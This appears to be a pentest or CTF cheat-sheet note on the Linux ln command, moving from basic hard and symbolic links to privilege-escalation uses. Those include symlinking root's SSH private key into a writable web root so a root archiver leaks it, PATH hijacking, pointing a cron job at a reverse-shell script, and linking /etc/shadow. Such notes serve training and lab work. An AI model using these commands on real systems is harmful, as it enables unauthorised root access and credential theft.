ln / ln -s — Hard & Symbolic Links

Ctrl+F: ln -s · symlink · hard link · id_rsa · privesc · writable directory

What is ln?

ln creates links — alternate names that point to the same file (hard link) or to another path (symbolic / soft link).

CommandTypePoints toCross filesystemDirs
ln source destHard linkSame inode (file data)NoNo
ln -s target linknameSymlinkPath stringYesYes

Syntax

ln [options] SOURCE LINK_NAME
ln -s [options] TARGET LINK_NAME
FlagDescription
-sSymbolic (soft) link
-fForce overwrite existing link name
-nTreat LINK_NAME as normal file if symlink to dir
-vVerbose

📌 1) Basic examples

# Hard link — two names, same file
echo "secret" > original.txt
ln original.txt hardlink.txt
rm original.txt
cat hardlink.txt          # still works — data remains until all links gone
 
# Symlink — pointer to path
ln -s /etc/passwd passwd_link
cat passwd_link
 
# Symlink to directory
ln -s /var/www/html webroot
ls webroot
 
# Force replace broken symlink
ln -sf /new/target old_symlink

Scenario: You can write to /var/www/html (or similar). A root cron or admin runs 7zip/archive on that directory and follows symlinks → read arbitrary files.

# Writable web root
cd /var/www/html
 
# Symlink root's SSH private key into your directory
ln -s /root/.ssh/id_rsa id_rsa
 
# If backup/archiver follows symlinks, contents of root key get included
# (see 7zip @listfile trick in labs — [[Archives - unzip 7z zip]])
ls -la id_rsa
# id_rsa -> /root/.ssh/id_rsa

Real lab pattern (usage-style): Full walkthrough → 7zip -snl Symlink Read - usage_management Privilege Escalation

cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
sudo /usr/bin/usage_management   # Project Backup
# Key appears in output → clean → ssh -i id_rsa root@TARGET

📌 3) Other privesc / abuse patterns

Writable PATH directory

# If /tmp is in root's PATH before /usr/bin
ln -s /bin/bash /tmp/ls
# Wait for root to run `ls` → executes your bash (if PATH hijack applies)

Linux PATH hijacking

# Writable script dir — point config to your payload
ln -sf /home/user/revshell.sh /etc/cron.daily/backup.sh
# NFS / SMB writable share
ln -s /etc/shadow shadow_link
# Another user or process reads shadow_link
find / -type l ! -exec test -e {} \; -print 2>/dev/null
ls -la /path/to/dir    # look for -> targets

# Cannot hard-link directories (usually)
ln /etc/passwd ./passwd_hard
 
# Same inode — edit one, see both
ls -li passwd_hard /etc/passwd
 
# Privesc (rare): hard-link to SUID binary before patch — niche, know for CTF

ls -la                    # -> shows symlink target
readlink symlink_name
readlink -f symlink_name  # canonical path
file symlink_name
stat symlink_name

📌 Quick Cheat Sheet

ln -s /target/path linkname
ln -sf /new/target linkname       # force
ln -s /root/.ssh/id_rsa id_rsa    # privesc read via archive/cron
 
ls -la linkname
readlink linkname